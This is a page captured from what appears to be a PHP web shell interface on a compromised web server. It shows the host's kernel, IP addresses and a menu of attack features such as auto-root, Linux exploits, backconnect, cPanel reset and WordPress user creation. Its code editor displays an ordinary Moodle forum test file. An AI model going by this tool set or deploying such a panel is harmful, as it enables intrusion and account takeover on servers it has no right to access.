Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 108.162.216.208
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
forum /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
backup_forum_activity_test.php
5.28
KB
-rw-r--r--
builders_exported_posts_test.p...
21.88
KB
-rw-r--r--
coverage.php
1.8
KB
-rw-r--r--
cron_trait.php
4.89
KB
-rw-r--r--
entities_author_test.php
2.44
KB
-rw-r--r--
entities_discussion_summary_te...
3.06
KB
-rw-r--r--
entities_discussion_test.php
6.17
KB
-rw-r--r--
entities_forum_test.php
6.59
KB
-rw-r--r--
entities_post_read_receipt_col...
2.82
KB
-rw-r--r--
entities_post_test.php
3.01
KB
-rw-r--r--
entities_sorter_test.php
2.74
KB
-rw-r--r--
events_test.php
113.64
KB
-rw-r--r--
exporters_author_test.php
5.74
KB
-rw-r--r--
exporters_discussion_test.php
4.36
KB
-rw-r--r--
exporters_forum_test.php
3.21
KB
-rw-r--r--
exporters_post_test.php
22.19
KB
-rw-r--r--
externallib_test.php
164.94
KB
-rw-r--r--
generator_test.php
9.17
KB
-rw-r--r--
generator_trait.php
6.1
KB
-rw-r--r--
grades_forum_gradeitem_test.ph...
6.97
KB
-rw-r--r--
grades_gradeitems_test.php
3.25
KB
-rw-r--r--
lib_test.php
173.87
KB
-rw-r--r--
local_container_test.php
3.56
KB
-rw-r--r--
locallib_test.php
2.34
KB
-rw-r--r--
mail_group_test.php
8.69
KB
-rw-r--r--
mail_test.php
62.8
KB
-rw-r--r--
maildigest_test.php
30.21
KB
-rw-r--r--
managers_capability_test.php
52.49
KB
-rw-r--r--
output_email_test.php
7.02
KB
-rw-r--r--
portfolio_caller_test.php
5.22
KB
-rw-r--r--
privacy_provider_test.php
86.1
KB
-rw-r--r--
private_replies_test.php
9.77
KB
-rw-r--r--
qanda_test.php
5.29
KB
-rw-r--r--
restore_date_test.php
4.34
KB
-rw-r--r--
rsslib_test.php
3.59
KB
-rw-r--r--
search_test.php
21.67
KB
-rw-r--r--
subscriptions_test.php
64.35
KB
-rw-r--r--
vaults_author_test.php
2.84
KB
-rw-r--r--
vaults_discussion_list_test.ph...
29.82
KB
-rw-r--r--
vaults_discussion_test.php
4.88
KB
-rw-r--r--
vaults_forum_test.php
5.84
KB
-rw-r--r--
vaults_post_attachment_test.ph...
4.47
KB
-rw-r--r--
vaults_post_read_receipt_colle...
3.87
KB
-rw-r--r--
vaults_post_test.php
53.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vaults_discussion_list_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * The discussion_list vault tests. * * @package mod_forum * @copyright 2019 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/forum/externallib.php'); require_once(__DIR__ . '/generator_trait.php'); /** * The discussion_list vault tests. * * @package mod_forum * @copyright 2019 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_forum_vaults_discussion_list_testcase extends advanced_testcase { // Make use of the test generator trait. use mod_forum_tests_generator_trait; /** @var \mod_forum\local\vaults\discussion_list */ private $vault; /** * Set up function for tests. */ public function setUp(): void { $vaultfactory = \mod_forum\local\container::get_vault_factory(); $this->vault = $vaultfactory->get_discussions_in_forum_vault(); } /** * Test get_from_id. */ public function test_get_from_id() { $this->resetAfterTest(); $datagenerator = $this->getDataGenerator(); $vault = $this->vault; $user = $datagenerator->create_user(); $course = $datagenerator->create_course(); $forum = $datagenerator->create_module('forum', ['course' => $course->id]); [$discussion, $post] = $this->helper_post_to_forum($forum, $user); $discussionlist = $vault->get_from_id($discussion->id); $this->assertEquals($discussion->id, $discussionlist->get_discussion()->get_id()); $this->assertEquals($post->id, $discussionlist->get_first_post()->get_id()); $this->assertEquals($user->id, $discussionlist->get_first_post_author()->get_id()); $this->assertEquals($user->id, $discussionlist->get_latest_post_author()->get_id()); } /** * Test get_from_forum_id. */ public function test_get_from_forum_id() { $this->resetAfterTest(); $datagenerator = $this->getDataGenerator(); $vault = $this->vault; $user = $datagenerator->create_user(); self::setUser($user); $course = $datagenerator->create_course(); $forum = $datagenerator->create_module('forum', ['course' => $course->id]); $this->getDataGenerator()->enrol_user($user->id, $course->id, null, 'manual'); $this->assertEquals([], $vault->get_from_forum_id($forum->id, true, $user->id, null, 0, 0)); $now = time(); [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 10, 'timemodified' => 1]); [$discussion2, $post2] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 9, 'timemodified' => 2]); [$hiddendiscussion, $post3] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now + 10, 'timemodified' => 3]); [$discussion3, $post4] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 8, 'timemodified' => 4]); // By default orders the discussions by last post. $summaries = array_values($vault->get_from_forum_id($forum->id, false, null, null, 0, 0)); $this->assertCount(3, $summaries); $this->assertEquals($discussion3->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[2]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, null, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, false, $user->id, null, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, null, 1, 0)); $this->assertCount(1, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, null, 1, 1)); $this->assertCount(1, $summaries); $this->assertEquals($discussion3->id, $summaries[0]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, null, 1, 2)); $this->assertCount(1, $summaries); $this->assertEquals($discussion2->id, $summaries[0]->get_discussion()->get_id()); // Create 2 replies for $post1. $this->helper_reply_to_post($post1, $user); $this->helper_reply_to_post($post1, $user); // Create 3 replies for $post2. $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); // Create 1 reply for $post3. $this->helper_reply_to_post($post3, $user); // Sort discussions by last post DESC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions by last post ASC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_ASC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion3->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions by replies DESC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_REPLIES_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion2->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions by replies ASC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_REPLIES_ASC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion3->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions by discussion created DESC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_CREATED_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion3->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions by discussion created ASC. $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_CREATED_ASC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions when there is a pinned discussion. $this->pin_discussion($discussion1); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_ASC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_REPLIES_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[3]->get_discussion()->get_id()); // Sort discussions where there is a pinned discussion and several starred discussions. $this->star_discussion($discussion3, 1); $this->star_discussion($hiddendiscussion, 1); $summaries = array_values($vault->get_from_forum_id($forum->id, true, $user->id, $vault::SORTORDER_REPLIES_DESC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, $user->id, $vault::SORTORDER_REPLIES_ASC, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion3->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[3]->get_discussion()->get_id()); } /** * Test get_from_forum_id_and_group_id. */ public function test_get_from_forum_id_and_group_id() { $this->resetAfterTest(); $datagenerator = $this->getDataGenerator(); $vault = $this->vault; $user = $datagenerator->create_user(); self::setUser($user); $course = $datagenerator->create_course(); $forum = $datagenerator->create_module('forum', ['course' => $course->id]); $this->getDataGenerator()->enrol_user($user->id, $course->id, null, 'manual'); $this->assertEquals([], $vault->get_from_forum_id($forum->id, true, true, null, 0, 0, $user)); $now = time(); [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 10, 'timemodified' => 1]); [$discussion2, $post2] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 9, 'timemodified' => 2]); [$hiddendiscussion, $post3] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now + 10, 'timemodified' => 3]); [$groupdiscussion1, $post4] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now - 8, 'timemodified' => 4, 'groupid' => 1] ); [$groupdiscussion2, $post5] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now - 7, 'timemodified' => 5, 'groupid' => 2] ); [$hiddengroupdiscussion, $post6] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now + 11, 'timemodified' => 6, 'groupid' => 3] ); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, null, null, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($hiddengroupdiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[5]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], false, $user->id, null, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($hiddengroupdiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[5]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, null, null, 1, 0)); $this->assertCount(1, $summaries); $this->assertEquals($hiddengroupdiscussion->id, $summaries[0]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, null, null, 1, 1)); $this->assertCount(1, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, null, null, 1, 2)); $this->assertCount(1, $summaries); $this->assertEquals($groupdiscussion2->id, $summaries[0]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], false, null, null, 0, 0)); $this->assertCount(4, $summaries); $this->assertEquals($groupdiscussion2->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[3]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [], true, null, null, 0, 0)); $this->assertCount(3, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[2]->get_discussion()->get_id()); // Add 4 replies to $post1. $this->helper_reply_to_post($post1, $user); $this->helper_reply_to_post($post1, $user); $this->helper_reply_to_post($post1, $user); $this->helper_reply_to_post($post1, $user); // Add 5 replies to $post2. $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); $this->helper_reply_to_post($post2, $user); // Add 3 replies to $post3. $this->helper_reply_to_post($post3, $user); $this->helper_reply_to_post($post3, $user); $this->helper_reply_to_post($post3, $user); // Add 2 replies to $post4. $this->helper_reply_to_post($post4, $user); $this->helper_reply_to_post($post4, $user); // Add 1 reply to $post5. $this->helper_reply_to_post($post5, $user); // Sort discussions by last post DESC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_LASTPOST_DESC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($groupdiscussion2->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions by last post ASC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_LASTPOST_ASC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions by replies DESC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_REPLIES_DESC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($discussion2->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions by replies ASC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_REPLIES_ASC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($hiddengroupdiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions by discussion created DESC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_CREATED_DESC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($hiddengroupdiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions by discussion created ASC. $summaries = array_values($vault->get_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, $user->id, $vault::SORTORDER_CREATED_ASC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[5]->get_discussion()->get_id()); // Sort discussions when there is a pinned discussion. $this->pin_discussion($discussion1); $this->pin_discussion($hiddendiscussion); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_DESC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($hiddendiscussion->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($discussion1->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[5]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_LASTPOST_ASC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[5]->get_discussion()->get_id()); $summaries = array_values($vault->get_from_forum_id($forum->id, true, null, $vault::SORTORDER_REPLIES_DESC, 0, 0)); $this->assertCount(6, $summaries); $this->assertEquals($discussion1->id, $summaries[0]->get_discussion()->get_id()); $this->assertEquals($hiddendiscussion->id, $summaries[1]->get_discussion()->get_id()); $this->assertEquals($discussion2->id, $summaries[2]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion1->id, $summaries[3]->get_discussion()->get_id()); $this->assertEquals($groupdiscussion2->id, $summaries[4]->get_discussion()->get_id()); $this->assertEquals($hiddengroupdiscussion->id, $summaries[5]->get_discussion()->get_id()); } /** * Test get_total_discussion_count_from_forum_id. */ public function test_get_total_discussion_count_from_forum_id() { $this->resetAfterTest(); $datagenerator = $this->getDataGenerator(); $vault = $this->vault; $user = $datagenerator->create_user(); $course = $datagenerator->create_course(); $forum = $datagenerator->create_module('forum', ['course' => $course->id]); $this->assertEquals(0, $vault->get_total_discussion_count_from_forum_id($forum->id, true, null)); $now = time(); [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 10, 'timemodified' => 1]); [$discussion2, $post2] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 9, 'timemodified' => 2]); [$hiddendiscussion, $post3] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now + 10, 'timemodified' => 3]); $this->assertEquals(2, $vault->get_total_discussion_count_from_forum_id($forum->id, false, null)); $this->assertEquals(3, $vault->get_total_discussion_count_from_forum_id($forum->id, true, null)); $this->assertEquals(3, $vault->get_total_discussion_count_from_forum_id($forum->id, false, $user->id)); } /** * Test get_total_discussion_count_from_forum_id_and_group_id. */ public function test_get_total_discussion_count_from_forum_id_and_group_id() { $this->resetAfterTest(); $datagenerator = $this->getDataGenerator(); $vault = $this->vault; $user = $datagenerator->create_user(); self::setUser($user); $course = $datagenerator->create_course(); $forum = $datagenerator->create_module('forum', ['course' => $course->id]); $this->assertEquals([], $vault->get_from_forum_id($forum->id, true, null, null, 0, 0)); $now = time(); [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 10, 'timemodified' => 1]); [$discussion2, $post2] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now - 9, 'timemodified' => 2]); [$hiddendiscussion, $post3] = $this->helper_post_to_forum($forum, $user, ['timestart' => $now + 10, 'timemodified' => 3]); [$groupdiscussion1, $post4] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now - 8, 'timemodified' => 4, 'groupid' => 1] ); [$groupdiscussion2, $post5] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now - 7, 'timemodified' => 5, 'groupid' => 2] ); [$hiddengroupdiscussion, $post6] = $this->helper_post_to_forum( $forum, $user, ['timestart' => $now + 11, 'timemodified' => 6, 'groupid' => 3] ); $this->assertEquals(6, $vault->get_total_discussion_count_from_forum_id_and_group_id($forum->id, [1, 2, 3], true, null)); $this->assertEquals(6, $vault->get_total_discussion_count_from_forum_id_and_group_id( $forum->id, [1, 2, 3], false, $user->id )); $this->assertEquals(4, $vault->get_total_discussion_count_from_forum_id_and_group_id($forum->id, [1, 2, 3], false, null)); $this->assertEquals(3, $vault->get_total_discussion_count_from_forum_id_and_group_id($forum->id, [], true, null)); } /** * Pin a duscussion. * * @param stdClass $discussion */ private function pin_discussion(stdClass $discussion) { global $DB; $DB->update_record('forum_discussions', (object) array('id' => $discussion->id, 'pinned' => FORUM_DISCUSSION_PINNED)); } /** * Star a duscussion. * * @param stdClass $discussion * @param bool $targetstate The new starred state of the discussion (0 => unstar, 1 => star) */ private function star_discussion(stdClass $discussion, bool $targetstate) { mod_forum_external::toggle_favourite_state($discussion->id, $targetstate); } }
Close